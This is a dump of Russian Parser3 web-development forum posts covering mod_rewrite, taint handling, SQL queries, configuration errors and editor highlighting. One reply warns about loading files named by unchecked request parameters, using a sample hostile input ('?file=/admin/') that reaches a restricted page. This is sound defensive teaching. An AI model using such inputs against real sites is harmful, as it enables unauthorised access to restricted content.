"39600","Как известно, цвета и размеры в хтмл задаются либо прямо в документе, либо CSS. Т.е. в данном случае вся обработка\
этой информации идет на стороне клиента.\
Появилась идея хранить все эти вещи (номер цвета, \
размер шрифта и пр.) в базе, а в документ вставлять\
где надо переменные вида [b]$artic_white[/b].\
Править что-либо, по-моему, не в пример удобнее, да и для CMS\
такой вариант, по-моему, удобнее. Тем более,\
и так (в моем случае) обращения к базе есть?\
[b]Вопрос: не нагрузит ли это излешне сам сервер?[/b]\
Т.е. я понимаю, что нагрузка будет, вопрос насколько\
большая.\
Хоть тут про Parser ни слова, подразумеваю, что именно\
он обрабатывает страницы."
"39601","Лень двигатель прогресса! :)"
"39602","в mod_rewrite приходит запрос\
/news/events/\
\
он находит совпадение в rewriterule а потом и rewriteCond - \
все нормально.. производится внутренний редирект на /news.php?page=events\
\
а потом internal redirect with /news.php [INTERNAL REDIRECT]\
и все опять по новой происходит ... он ищет совпадения для /news.php .... только вот зачем и почему?\
\
заранее спасибо :)"
"39605","так концептуально проще = понятнее. и, в чём-то, даже правильно.\
\
поэтому надо всегда думать, как обработается новый адрес, полученный по RewriteRule.\
\
обычно это очень просто.\
\
тут часто помогает такая вещь в начале всех правил (пишу в применении к вашему случаю):\
[code]\
RewriteRule \\.php$ - [L]\
[/code]\
\
видите этот забавный «-» в качестве нового адреса?\
\
это значит «оставь в покое этот адрес и [L] больше не обрабатывай»."
"39607","Удаляется первая достатая из БД запись, а подскажите как удалить отмеченные?\
\
[code]\
^MAIN:pSQL.server{\
\
$links[^MAIN:pSQL.table{\
	SELECT title, description, uri, id\
	FROM links\
	}\
]\
\
^if($links){\
	<form method=\"post\" action=\"/admin/links/\">\
	^links.menu{\
		<input type=\"checkbox\" value=\"$links.id\">\
		<a href=\"$links.uri\">$links.title</a>\
		$links.description\
	}\
	<input type=\"submit\" name=\"delete\" value=\"Удалить\">\
}{\
	<p>Ссылок нет</p>\
\
}\
\
^if(def $form:delete){\
	^MAIN:pSQL.void{\
		DELETE FROM links\
		WHERE id = '$links.id'\
	}\
	$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]^if(^request:uri.pos[?]>=0){&}{?}action=delete]\
}\
\
}\
[/code]"
"39608","Вы считаете своё решение удобнее написания классов в .css, а потом где надо их использовать? Бред..."
"39609","руки не доходили\
[url=\"http://www.artemid.ru/parser_vim_syntax.zip\"]забирайте[/url]\
там кое что должно работать"
"39610","Я бы назвал \
[code]\
<input type=\"checkbox\" value=\"$links.id\" name=\"links_$links.id\">\
[/code]\
\
а потом бы удалял уже отмеченные записи\
[code]\
DELETE FROM links\
WHERE id = '$form:links_${links.id}'\
[/code]\
\
или что-то типа того"
"39611","Хоть этот тред и не по Парсеру в целом, но кроме Вас на него никто не ответит.\
Хочу написать строку новостей в сайте. Интересуют два вопроса. Что такое заполнение этой строки через отдельный административный интерфейс.И как вывести ее на сайте через XSLT трансформ. Также что такое изменение дизайна выбором\
шаблона.\
Посоветуйте также линки, про XML и XLS.\
\
Премного благодарен всем откликнувщимся.\
\
С уважением, Rezook"
"39612","Предложенную схему я хочу использовать сам.\
Вопрос был такой: [b]сильно ли увелится нагрузка\
на сервер?[/b]\
И как это проверить?\
А чем CSS лучше моей идеи? Тем, что привычнее?\
Ведь CSS был придуман, как мне кажется, для\
облегчения работы кодера в те времена, когда\
с динамическим контентом было плохо.\
А теперь есть Parser."
"39613","http://www.parser.ru/forum/?id=18057"
"39614","Во всем мире стремятся разделить программную часть, данные, разметку и оформление, а вы напротив. Мне кажется, работающему сайту не нужно динамическое изменение оформления на уровне смены цвета и начертания шрифтов. Для более глобального изменения есть XSLT."
"39615","http://www.parser.ru/docs/lang/lesson6.htm\
http://www.parser.ru/links/"
"39617","у меня в данный момент несколько универсальных правил:\
\
для зароса вида \"/news/\"\
RewriteCond %{REQUEST_URI} !^(i/|(.*)\\.css|(.*)\\.gif|(.*)\\.jpg|(.*)\\.png|(.*)\\.swf|getfile|(.*)\\.php)(.*)\
RewriteRule ^/?([a-z]+)/?$ /$1.php [NC,QSA,L]\
\
для зароса вида \"/news/events\"\
RewriteCond %{REQUEST_URI} !^(i/|(.*)\\.css|(.*)\\.gif|(.*)\\.jpg|(.*)\\.png|(.*)\\.swf|(.*)\\.php)(.*)\
RewriteRule ^/?([a-z]+)/([a-z0-9]+)/?$ /$1.php?page=$2 [NC,QSA,L]\
\
для зароса вида \"/news/events/1/\"\
RewriteCond %{REQUEST_URI} !^(i/|(.*)\\.css|(.*)\\.gif|(.*)\\.jpg|(.*)\\.png|(.*)\\.swf|(.*)\\.php)(.*)\
RewriteRule ^/?([a-z]+)/([a-z0-9]+)/([a-z0-9]+)/?$ /$1.php?page=$2&id=$3 [NC,QSA,L]\
\
правильно ли я делаю? и стоит ли так делать? :) \
заранее большое спасибО!"
"39618","забыл еще нужно в файле sysmenu.vim\
\
вписать строчку о парсере:\
[code]\
an 50.70.110 &Syntax.PQ.PApp :cal SetSyn(\"papp\")<CR>\
an 50.70.120 &Syntax.PQ.Parser 3 :cal SetSyn(\"parser\")<CR>\
an 50.70.120 &Syntax.PQ.Pascal :cal SetSyn(\"pascal\")<CR>\
[/code]\
\
Вспомнил что еще не доделал...\
Хотел вкрутить чтобы подсвечивались еще и HTML и XML плюс SQL (их подсветки есть у vim, нужно чтобы их грамотно подцепляло куда нужно.) одновременно с парсеными конструкциями. Может потом сделаю."
"39619","RewriteRule \\.(gif|jpg|png|js|css|exe|zip|rar|pdf|rtf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz|htm)$ - [L]\
\
P.S. есссно можете написать более строие условия."
"39620","Как написать? Где узнать как написать? Где можно почитать готовые варианты?"
"39621","ровно об этом вам и пишу, однако, похоже, не читаете?"
"39622","это не весь .htaccess а только некоторые его куски\
все что вы мне посоветовали я сделал"
"39623","Понял, спасибо."
"39624","http://www.parser.ru/forum/?terms=CMS&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"39625","Проблема в следующем: берем переменную, делаем ей untaint, затем upper. \
В результате получаем [b]грязный текст[/b]! И побороть это не удается ни повторным untaint-ом ни как вообще. \
Кто-нибудь сталкивался с этой проблемой?\
\
Код такой:\
\
$ttl[^untaint{$objects.TITLE}]\
					\
^ttl.upper[]"
"39628","а тщательно сохраняет раскраску:\
[code]\
$s[<b>clean</b>^taint[<this part is tainted>]]\
$s\
^s.upper[]\
[/code]\
\
даёт\
[code]\
<b>clean</b>&lt;this part is tainted&gt;\
<B>CLEAN</B>&lt;THIS PART IS TAINTED&gt;\
[/code]"
"39631","Не маленький, поиском пользоваться умею. Может сначала вникнуть в суть вопроса?"
"39633","код следующий:\
$s[<b>clean</b> ^taint[&lt^;this part is&nbsp^;tainted&gt^;]]\
$s<br>\
^untaint{^s.upper[]}\
\
получаем:\
clean &lt;this part is&nbsp;tainted&gt;\
CLEAN <THIS PART IS&NBSP;TAINTED>\
\
Мне кажется это странным, или может быть я чего-то не понимаю?"
"39635","посмотрите на View|Source, сразу всё встанет на свои места:\
[code]\
<b>clean</b> &amp;lt;this part is&amp;nbsp;tainted&amp;gt;<br>\
<B>CLEAN</B> &LT;THIS PART IS&NBSP;TAINTED&GT;\
[/code]"
"39638","вы пишете \"странные вещи\", скажите конкретно, что вам кажется странным.\
\
перед этим перечитайте ответы на ваш вопрос."
"39639","http://www.parser.ru/forum/?id=38215\
Чем Вам неподходит?\
Смотрите как сделали и делаете тоже самое или что-то в этом духе.\
Даже можете в проект включится он ведь OpenS"
"39640","Поясняю, я хочу, чтобы в результате выполнения приведенного мною кода в окне браузера появлялся неразрывный пробел, а не &NBSP;. При этом мне кажется странным, что \"<\" отображается именно так, как я предполагаю должно быть, а неразрывный пробел - нет.\
\
Вопрос мой в том и состоит, как в данном коде получить именно неразрывный пробел, а не \"&NBSP;\". При этом мне не хочется делать простую замену методом \"match\". \
\
И если существуют другие способы, был бы благодарен, если бы вы меня просветили."
"39641","если написали, значит наверняка прочитали что он делает в документации и примерах, соответственно непонятно почему задаете такой вопрос, ибо написаный вами taint в приведенном примере работает именно так как описано в документации.\
\
P.S. кстати в самом первом вашем посте все правильно, и никаких taint-преобразований делаться не должно, и если они у вас наблюдаются это означает что в $objects.TITLE уже лежат преобразованные буквы (если вы берете это из БД то в БД уже неверные данные).\
"
"39642","а результат будет тот же. Например, код:\
\
$s[&lt^;this part is&nbsp^;&gt^;]\
$s<br>\
^untaint{^s.upper[]}\
\
Дает результат в коде страницы (вроде все правильно):\
\
&lt;this part is&nbsp;&gt;\
&LT;THIS PART IS&NBSP;&GT;\
\
но в окне браузера я вижу:\
\
<this part is >\
<THIS PART IS&NBSP;>\
\
Насколько я понял, браузер отображает \"&NBSP;\" именно как \"&NBSP;\", в то же самое время \"&nbsp;\" отображается как неразрывный пробел.\
\
Почему так происходит и как с этим бороться?\
\
Все таки хочется разобраться."
"39643","почему броузеры воспринимают &nbsp; как неразнывный пробела, а &NBSP; как неразрывный пробел не воспринимают?\
\
если да, то я думаю ответ стоит поискать на w3c например, а парсер тут совершенно не при чем.\
\
P.S. в приведенном вам коде никаких тайнт-преобразований не делается, вы можете просто написать: =&nbsp;=&NBSP;= и посмотреть в броузере."
"39644","я про это же говорю\
он увидел что у меня это RewriteCond %{REQUEST_URI} !^(i/|(.*)\\.css|(.*)\\.gif|(.*)\\.jpg|(.*)\\.png|(.*)\\.swf|getfile|(.*)\\.php)(.*) \
стоит в каждом правиле вместо того чтобы сделать \
RewriteRule \\.(gif|jpg|png|js|css|exe|zip|rar|pdf|rtf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz|htm)$ - [L]\
\
поэтому как я понял он и написал что я плохо читал"
"39646","Буду очень признателен, если подскажете: где в Mac OS X у Apache находиться httpd.conf, и будет ли Parser понимать MySQL 4.1. И ещё как убедиться в работоспособности Parser+MySQl"
"39647","При перебросе на сервер parser начал ругатся.... много..\
Главная проблема:\
\
Пишет в auto.p:\
'connect-string' element can not be stored to void [parser.runtime]\
\
Меняю connect-string...\
\
Пишет в sql.p(тут наверно уже я нафлудил):\
$SQL:drivers table must be defined [parser.runtime]\
\
Либо я пока торможу...... либо....не будем о грустном..\
Что делать?"
"39648","да не надо рваться в бой без пулемета то... \
создайте файл test.html, а в нем:\
[code]\
^connect[mysql://...]{\
	$t[^table::sql{..}]\
	...\
}\
[/code]\
сразу станет понятно, кто не прав..."
"39649","Пишет как и во втором случае... что бы это означало?"
"39650","/etc/httpd/httpd.conf\
да\
[url=\"http://www.parser.ru/f/1/download/utils/test.zip\"]test.zip[/url]"
"39652","'connect-string' element can not be stored to void пишет, когда SQL.drivers нет в конф. файле\
вторая ошибка так же связана с отстутствием SQL.drivers\
короче ковыряйте конф. файл... ))"
"39654","[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<!DOCTYPE language SYSTEM \"language.dtd\">\
<language name=\"Parser\" version=\"1.01\" section=\"Markup\" extensions=\"*.p\" mimetype=\"text/parser\">\
<highlighting>\
	<contexts>\
		<context name=\"Normal\" attribute=\"Normal Text\" lineEndContext=\"#stay\">\
			<RegExpr attribute=\"Keyword\" context=\"#stay\" String=\"^@[^0-9\\W_][\\w_]{1,}\" />\
			<RegExpr attribute=\"String Char\" context=\"#stay\" String=\"[\\^][^0-9\\W_][\\w_]{1,}\" />\
			<RegExpr attribute=\"Data Type\" context=\"#stay\" String=\"[\\$][^0-9\\W_][\\w_]{1,}\" />\
<!--		Подсветим ковычки-->\
			<RegExpr attribute=\"Hex\" context=\"#stay\" String=\"[\\[\\]\\(\\)]\" />\
<!-- 		Подсветка цыфр -->\
			<Float attribute=\"Float\" context=\"#stay\"/>\
			<HlCHex attribute=\"Hex\" context=\"#stay\"/>\
			<Int attribute=\"Decimal\" context=\"#stay\"/>\
<!--		Это типа сворачивание-->\
			<DetectChar attribute=\"Hex\" context=\"#stay\" char=\"{\" beginRegion=\"Brace1\" />\
			<DetectChar attribute=\"Hex\" context=\"#stay\" char=\"}\" endRegion=\"Brace1\" />\
<!-- 		HTML разный -->\
			\
<!-- 		Комментарии -->\
			<DetectChar attribute=\"Comment\" context=\"Comment\" char=\"#\"/>\
			<IncludeRules context=\"##HTML\" />\
			<IncludeRules context=\"##SQL\" />\
		</context>\
<!-- 		Комментарии -->\
		<context name=\"Comment\" attribute=\"Comment\" lineEndContext=\"#pop\"/>\
<!-- 		HTML разный -->\
		<context name=\"HTML\" attribute=\"Keyword\" lineEndContext=\"#stay\">\
			<IncludeRules context=\"##HTML\" />\
			<DetectChar attribute=\"Keyword\" context=\"#pop\" char=\"&qt;\" />\
		</context>\
\
	</contexts>\
	<itemDatas>\
		<itemData name=\"Normal Text\"  defStyleNum=\"dsNormal\"/>\
		<itemData name=\"Keyword\"      defStyleNum=\"dsKeyword\"/>\
		<itemData name=\"Data Type\"    defStyleNum=\"dsDataType\"/>\
		<itemData name=\"Decimal\"      defStyleNum=\"dsDecVal\"/>\
		<itemData name=\"Hex\"          defStyleNum=\"dsBaseN\"/>\
		<itemData name=\"Float\"        defStyleNum=\"dsFloat\"/>\
		<itemData name=\"String\"       defStyleNum=\"dsString\"/>\
		<itemData name=\"String Char\"  defStyleNum=\"dsChar\"/>\
		<itemData name=\"Identifier\" defStyleNum=\"dsOthers\" />\
		<itemData name=\"Comment\"      defStyleNum=\"dsComment\"/>\
		<itemData name=\"Element\" defStyleNum=\"dsKeyword\" />\
		<itemData name=\"Error\" defStyleNum=\"dsNormal\" color=\"#f11\" underline=\"1\" />\
		<itemData name=\"Alert\" defStyleNum=\"dsNormal\" bold=\"1\" color=\"white\" backgroundColor=\"red\" />\
	</itemDatas>\
</highlighting>\
<general>\
	<comments>\
		<comment name=\"singleLine\" start=\"#\"/>\
	</comments>\
</general>\
</language>\
\
[/code]"
"39655","руки не доходили, но выкладываю как есть\
[url=\"http://www.artemid.ru/parser_vim_syntax.zip\"]кому нужно пробуйте[/url] подсвечивать...\
там кое что должно работать, если будут какие то там глюки сообщайте\
\
http://www.parser.ru/forum/?id=39618 все про тоже"
"39656","Я пытался задать свой файл конфигурации для сайта. В Apache для windows у меня все работает. В принципе, проблему на данном этапе я уже решил, прописав все в корневом файле сайта auto.p."
"39657","хотя я в конце концов сам разобрался, что причина не в Парсере."
"39658","Я подписался, только вот, ничего не приходит...."
"39660","я знал лишь то, что upper не делает данные грязными, и taint/untaint работают как описано в документации."
"39661","скажем это поле в базе VARCHAR(150), а это TEXT, а это INT(4) и т.д."
"39663","[code]\
describe table1\
[/code]"
"39665","Можноли передать в XML+XSLT преобразование параметр? | Как сгенеривать в XSL случайное число?"
"39666","Мои страницы на парсере почему-то перезагружаються два раза в опере. В мозилле и IE все нормально.\
 Сначало один раз, потом сразу обнавляеться. И именно страницы с парсером. почему-то. Что это может быть?\
На локальном всё нормально, и редиректов и обновлений у меня нет. \
В чем может быть проблема. \
Раньше всё было нормально. Но когда я перехал на другой сервер стала проблема. Где искать причину. не пойму. Может с сервером что не так?"
"39668","Одну .pdf\
\
...значит решение проблемы существует..."
"39669","parser ne javaScript"
"39670","...или с Operой"
"39671","нет с оперой всё ок, я просил друзей проверить у них тоже самое."
"39673","[url=\"http://www.pwstudio.ru/russian/index.html\"]http://www.pwstudio.ru/russian/index.html[/url]\
\
Только не сочтите это за рекламу!\
А что телнет? а что он должен сказать?"
"39675","единственное, что пришло в голову: попробовать убрать:\
<META http-equiv=REVISIT-AFTER content=\"10 DAYS\">\
<META content=DYNAMIC name=DOCUMENT-STATE>\
<META content=ALL name=ROBOTS>\
\
P.S. у body лучше прописывать цвет backgrund... не у всех он белый..."
"39676","Больше похоже на философский трактат по угадыванию мыслей, а не на форум. Есть ответ на вопрос - пожалуйста. Нет - не пинайте под (_!_)."
"39679","Спасибо, этот файл запускаем из localhost?"
"39680","При использовании  ^xdoc::load[имя файла] для загрузки xml возникает ошибка, поскольку в xml есть ошибка. Можно ли от нее как-нибудь избавиться в процессе загрузки? Подскажите, пож-та."
"39683","Есть примочка написанная на PHP.\
Подключение - [color=\"#0000ff\"]$conn = fsockopen ( adress', port);[/color]\
Посылка запроса - [color=\"#0000ff\"]fputs ( $conn,\"code_string\" );[/color]\
Получение ответа -  [color=\"#0000ff\"]$reply = fgets ( $conn );[/color]\
\
есть ли в парсере аналог этой комбинации?"
"39687","авто-исправить нельзя. на то он XML и есть."
"39688","загрузите через file::load и попытайтесь сделать xdoc::create из $loaded_file.text. Если ошибка - отлавливаете и пробуете исправить содержимое $loaded_file.text. Ну это если теоретически (на практике нетривиально, придётся широко пораскинуть мозгами)."
"39690","Там есть библиотека с функцией random(), но в парсеровском libXSLT эта функция не работает (см: http://www.parser.ru/forum/?id=38253)"
"39691","Во код:\
$file[^file::load[text;${form:file}index.html]]\
\
Пишет в parser3.log:\
[Thu Apr 21 17:22:58 2005] /?file=http://www.parser.ru/index.html: /home/www/index.html(10:14): 'http://www.parser.ru/index.html' does not start with http:// [<no type>]\
\
Подскажите что сделать чтоб загружал ?\
parser работает как cgi."
"39693","вижу, автор функции возложил часть ответственности на приложение, использующее libexslt.\
\
можно несложно доделать, чтобы тот random заработал, но большой необходимости в этом нет.\
\
случайное число вполне можно получить из parser, принять обычным XSLT параметром.\
\
о другом варианте уже писалось."
"39694","(когда вы почините там эту ошибку)\
\
и ожидайте интересный счёт от вашего провайдера за международный трафик."
"39695","Пробую воспользоваться примером:\
^connect[socket://pop3.yandex.ru:pop3?timeout=60]{\
   $socket:line[user $user]\
   $reply[$socket:line]\
   ^if($reply ne \"+OK\"){…}\
   $socket:line[pass $password]\
   …\
}\
А Parser выдал ошибку, что не знает он такого протокола - socket\
\
undefined protocol 'socket'\
Или я что не так сделал?"
"39696","там же всё написано, вы просто невнимательно прочитали..."
"39697","Все таки кто нибуть сталкивался с этой проблемой ?"
"39701","1. формочка слева, впишите в неё пару слов из вашего сообщения об ошибке.\
\
сюрприз: вы не первый.\
\
2. судя по всему, вы не прониклись идеей, что если данные приходят от посетителя, им нельзя безоговорочно доверять.\
\
возьмём ваш случай: вы написали код, где согласно данным посетителя грузите с диска файлик. вероятно, потом этот файлик (или его часть) посетитель сможет увидеть.\
\
вот и задумайтесь, что будет, если посетитель подставит вам (вместо ожидаемого вами) нечто такое:\
[code]\
?file=/admin/\
[/code]\
\
если выполнить ваш код буквально, получится\
[code]\
загрузка /admin/index.html\
[/code]\
\
однако в Parser заложено противодействие подобной забывчивости.\
и подобный [b]потенциально ошибочный[/b] код [b]специально[/b] [i]по-умолчанию[/i] не работает. а когда нужно, чтобы работал, необходимо явно выразить своё доверие к поступающим от пользователя данным. скажем, в закрытых разделах сайта, где злоумышленников \"не бывает\".\
\
что конкретно сделать, вам посоветовали\
http://www.parser.ru/forum/?id=39692"
"39702","Ребят, помогите разобраться, че за фигня...\
Я сделал на сайте форму обратной связи, и использовал [url=\"http://www.parser.ru/examples/feedback/\"]вот этот скрипт[/url], из \"Примеров\".\
Первое время все работало отлично, но потом кирдык... ничего не отправляется, и в лог-файл пишется вот такая ошибка:\
[Fri Apr 22 10:49:35 2005] [26649] SIGPIPE received while reading data. uri=/contact.html, method=POST, cl=625 \
\
Подскажите плз, в чем проблема то? Ведь работало все!\
Заранее пасиб!"
"39703","OFF: Похоже, пора вводить сокращение (типа, как IMHO) - ПВПФ :-)"
"39704","Чё-то буквально сегодня началась такая же фигня на Арбатеке. Только не один раз, а несколько."
"39706","Приветствую!\
\
Есть идея, думаю как организовать. Может кто поможет!?...\
В общем дело обстоит так: имеется таблица (VARCHAR), в которой содержатся словосочетания через запятую, пример: \"база MySQL, таблица news, удаление записей\". Количество словосочетаний разное.\
Задача, [b]выбрать по отдельности словосочетания[/b] и сделать поиск по другой таблице каждого словосочетания.\
\
Какие будут мысли?"
"39707","Подскажите как можно в веб-парте под SharePoint Portal Server программно отобразить проекты, у которых нет сайтов, и создавать сайт для выбранного проекта? Чтобы пользователь в коечном счете зашел на определенную страницу, увидел список проектов, у которых нет сайтов, мог бы щелкнуть, скажем, на кнопку правее названия проекта, и после этого нажатия у него бы автоматически создался сайт."
"39708","Из того что я вижу, может имеем сысл переделать иходную таблицу\
\
или\
$str[база MySQL, таблица news, удаление записей] \
$parts[^str.split[,;lv]]\
^parts.menu{\
$tmp[^table::sql{SELECT * FROM table WHERE pole LIKE \"$parts.pice\"}]\
\
}"
"39711","Эта канитель достала. Посмотрите, может чё подскажите \
http://1by1.astroncgroup.ru/2.txt\
\
Эта фигня показывается в самом низу загружаемой страницы при первой загрузке. Началось это сегодня. И только под Оперой. После загрузки при наведении на любую ссылку автоматом рефреш происходит."
"39712","Как я уже понял, \"просто так\" каталог Parser создать не может, только при загрузке файла через форму. А может ли он создать каталог, создав при этом обычный файл не загружая его с компьютера и записав в него произвольное значение."
"39713","P.S. написать код чтобы проверить по моему заняло-бы меньше времени, чем написание этого сообщения в форум."
"39714","Parser только начинаю осваивать, поэтому возникают сложности.\
\
^form:download.save[binary;/upl/file.ext]\
Это код получения файла из формы. Как создать сам файл, не прибегая к формам - пока не знаю."
"39715","$file[created_ok]\
^file.save[upl/file.txt]"
"39716","^archive.save[text;/arch/archive.txt]"
"39717","$string[$empty]\
^string.save[/dir/tmp]"
"39718","Parser already configured:  продолжение сиквела.\
\
пару дней назад ребята на швейцарском хостинге guest-hosting.ch проводили как мне написали \"обновление вапера\"\
После чего прекрасно работающий сайт с парсером 3.08 и другой с парсером 3.13 стали выдавать ту самую ошибку про \"parser already configured\".\
\
0) да поиск по форуму юзал!\
\
1) После многочисленного поиска по форуму  и проверок на  уникальность и единичность @conf связался с суппортом и пожаловался очень серьезно.\
Они ответили этим:\
There were some changes due to the update of Wrapper. Try to use PATH_TRANSLATED instead of PATH_INFO in your scripts.\
\
2) Поиск PATH_TRANSLATED и PATH_INFO ничего полезного не дал. Перловская програмка показа переменных окружения подтвердила что действительно Path_INFO пуст а с PATH_TRANSLATED вроде все ок.\
\
3) Пытался добавить в .htaccess переменную SetEnv CGI_PARSER_CONFIG /bla-bla/cgi-bin/parser3/auto.p\
В этом случае ошибка про ALREADY CONFIGURED исчезает, но начинает ругаться Apach что файл [\"путь-до-парсер-cgi/\"\"тут же приклеенный запрашиваемый файл-с-путем от рута\"] не существует.\
\
Есть ли какие-то соображения где же все-таки грабли и , главное как с этим бороться?"
"39719","- http://сайт/cgi-bin/parser3/parser3.cgi - работает?\
- если да, то добавление в конфигурационный auto.p/@auto[] ^bug[] вызывает ошибку?\
- если вызывает ошибку, то значит конфигурационный auto.p находится и обрабатывается. уберите ошибку и  попробуйте задать в нем $request:document-root[...]"
"39720","Че ты за линк на 2.txt дал? это результат работы? Или и есть целевой УРЛ глючной паги? =)\
Если нет, дай УРЛ целевой глючной паги, а так похоже что-то на уровне протокола глючит если на экран выплевывает. \
С mime-types вроде нет проблем у тебя там\
Content-Type: image/jpeg\
\
Вообще похоже что у тебя и так уже HTTP-заголовок формируется автоматом, а потом ты юзаешь какой-то скрипт, который видимо картинки дает качать или вообще-то что-то в поток бросает, и этот скрипт генерит тоже свой HTTP-овый полный заголовок, но он уже не воспринимается, т.к. Сервак уже свой послал. И в итоге вместо показа картинки выплевывает вот эту бодягу в формате text/plain.\
\
Короче вот такая версия =) данных вообще то мало."
"39721","нет, при прямом обращении к CGI-нику вылезает Unhandled Exception а в Parser Errorlog пишется загадочная строчка \
[Fri Apr 22 21:57:48 2005] [3042] /cgi-bin/parser313/parser3.cgi: parser already configured [parser.runtime] \
\
В общем что-тоя совсем потерял нить...\
\
\
PS Сорри за задержку с ответом - я теперь на можеме живу- посему все процессы замедлились до анабиозных..."
"39722","такое ощущение что у вас он указывает туда-же где лежит парсер, т.е. сначала запускается парсер, он считывает auto.p рядом с собой, выполлняет его, выполняет @conf[], затем открывает auto.p лежащий в document-root, видит в нем опять @conf[] (ибо файл это тот-же) и обламывается с руганью."
"39723","На английском форуме нашел сообщение PAF-a http://www.parser.ru/en/forum/?id=39562\
Сделал как советовалось и выяснилось что \
[quot]\
DOCUMENT_ROOT = /home/domailname/public_html\
PATH_INFO = \"ПУСТОТА\" PATH_TRANSLATED=/home/domainname/public_html/cgi-bin/parser313/parser3.cgi\
SCRIPT_NAME = /cgi-bin/parser313/parser3.cgi\
[/quot]\
\
Если я правильно понял надо для парсера как-нибудь назначить PATH_INFO ?\
Такое чуство что в этом направлении надо двигаться, или нет?"
"39724","Спасибо, попрбую."
"39725","Никак не могу разобраться с конструкцией, когда из одной таблицы базы нужно получить данные какого-либо ряда, если его колонка subid эквивалентна колонке id любого другого ряда.\
\
Например:\
Я хочу получить все записи рядов, у которых $str.subid равно, например, 5. 5 - это $str.id какого-либо ряда. Причем, $str.subid может быть одинаковыми у нескольких рядов, а str.id - уникальна."
"39727","Я использую Parser + MS Access. \
MS Access позволяет создавать имена полей на русском языке.\
При отладке на лок. машине запросы с SQL с русскими именами работают.\
Не возникнет ли проблем при переносе сайта в сеть?"
"39728","1. А где вы собрались хоститься если вы используете Access? Насколько я понимаю, Windows хостинг сильно дороже чем юникс, а Access под юниккс использовать нельзя.\
\
2. Сложно латиницей писать? Зачем самому себе грабли на пути раскладывать?"
"39729","1. На 1gb.ru есть недорогой план для Win-хостинга.\
2. Не сказать чтобы сложно, менее удобно - да. К примеру табл. в БД: все на русском заголовки табл. и т.д. Берешь этот заголовок и переносишь на сайт. А не думаешь как в соответсвии с именем поля присвоить русский эквивалент. Вроде diam - это Диаметр."
"39730","name         |id    |subid  | url\
\
news         |1     |       | news\
....\
12.10.05     |678   |1      | 12-10-05\
\
Нужно выдавать данные из строки, subid которой равен id. например:\
\
[code]\
<a href=\"$tab.url\">$tab.name</a><br>\
^if(^tab.locate[id;$tab.subid]){\
\
<li><a href=\"$tab.url\">$tab.name</a></li>\
\
}{# что-то, если нет совпадений.\
}\
[/code]\
\
То есть, если я кликнул на раздел \"Новости\", появляется меню 2 уровня, в котором есть ссылки на новости за опр. дату (причем, хотелось бы, чтобы в меню 2 уровня $tab.url вставлялся как $tab.url_1_уровня/$tab.url_2_уровня/, для того, чтобы можно было оперативно менять url первого уровня).\
Причем первого уровня может быть несколько.\
\
Используя такую конструкцию (с locale), получить результат не могу. Что можно сделать, может быть имеет смысл использовать другой метод или же можно доработать и этот?"
"39731","Яваскриптом открываю новое модальное окошко, и передаю ему массив нужных мне значений, которые берутся из парсерных меременных:\
\
[code]\
...\
params = new Object();\
params[\"base_dir\"] = \"$base_dir\";\
params[\"files_type\"] = \"$files_type\";\
params[\"filters\"] = \"$filters.[$files_type]\";\
var results = showModalDialog(href,params,\"center=1;dialogHeight=360px;dialogWidth=500px;help=0;resizable=0;status=0;border=thin;scroll=0\");\
...\
[/code]\
\
Далее в этом открытом окошке получаю этот массив:\
\
[code]\
var params = new Object;\
var params = window.dialogArguments;\
[/code]\
\
И там где мне нужно вывести ту или иную переменную пишу такой код:\
\
[code]\
<script language=\"javascript\">document.write(params[\"base_dir\"]);</script>\
[/code]\
\
[b]Внимание, вопрос:[/b] как этот массив преобразовать в переменные парсера. Или лучше даже положим в хэш, чтобы он был следующего вида:\
\
[code]\
$params[\
	$.base_dir[...]\
	$.files_type[...]\
	$.filters[...]\
]\
[/code]\
\
Попробовал вот так:\
\
[code]\
$params[\
	$.base_dir[<script language=\"javascript\">document.write(params[\"base_dir\"]);</script>]\
...\
[/code]\
\
Не получилось :(\
Еще был вариант, при открытии модального окна, дописывать к переданному href (открытие происходит в функции, которой передается переменная href) вот такую строку:\
\
[code]\
... showModalDialog(href + '?base_dir=$base_dir&files_type=$files_type&filters=$filters[$files_type]',params...\
[/code]\
\
Но это не красиво получается.\
\
Что посоветуете?"
"39732","Чтобы положить переменные js в парсерские нужно перезагрузить страницу - отправить запрос серверу\
мне кажется, здесь несколько выходов:\
1. Использовать js переменные напрямую ))\
2. Работать с формами opener'a\
3. XML_RPC и XMLHttpRequest"
"39734","1. На прямую использовать не могу, т.к. делаю ^file:list[$base_dir;], который так не работает: ^file:list[<script language=\"javascript\">document.write(params[\"base_dir\"]);</script>;]\
\
2. Т.е. создавать у opener-а скрытую форму? Нет, это не поможет с file:list-om :)\
\
3. Выход. Но с этим нужно разбираться слишком. А у меня сроки поджимиют... :("
"39735","1. Объясните задачу, возможно и без js получится\
2. submit опенера и берете значение формы... что не получится?"
"39736","При нажатии $form:order_by_title происходит сортировка всех записей по заголовку. Как сделать сортировку через ссылку?\
\
<a href=\"?order_by_title\">Сортировать по заголовку</a>\
[code]\
^if([b]def $form:order_by_title[/b]){\
	^MAIN:pSQL.void{\
		SELECT ...\
		FROM ...\
		ORDER BY title\
	}\
}\
[/code]"
"39737","у вас $form:order_by_title не определена\
на примере переменной вы делаете слудющее:\
[code]\
# присваиваем значение \
$var\
$result[^if(def $var){1}{0}]\
# интересно, почему код вернет 0?\
# потому что нужно было читать первый урок \
[/code]\
\
ЗЫ перед постом в форум я проверил код. При этом я не использовал никаких баз данных и пр. "
"39738","Вопрос не по поводу $form:order_by_title, а по поводу ссылки. А кнопка само сабой не определена до тех пор пока на неё не нажмут."
"39739","вы про GET слышали?\
когда кнопку нажимаете значение будет определено.\
А тут вы передаете (вернее хотите передать) значение формы методом GET. Только вот никакого значения не передается..."
"39741","... не $form:order_by_title, а поле $form:nameless\
[code]\
^if($form:nameless eq \"order_by_title\"){\
...\
[/code]\
\
http://www.parser.ru/docs/lang/formfield.htm"
"39742","Сделать можно прицепив переменную к ссылке.\
Например <a href=\"yoursite.ru/dir/page.html?query=1\">сортировать по имени</a>\
Затем\
^if($form:query==1){\
...\
}"
"39743","Для расширения кругозора:\
\
интересный вариант, простенький,  для небольших таблиц: сортировка таблицы по средствам яваскрипт без перезагрузки\
\
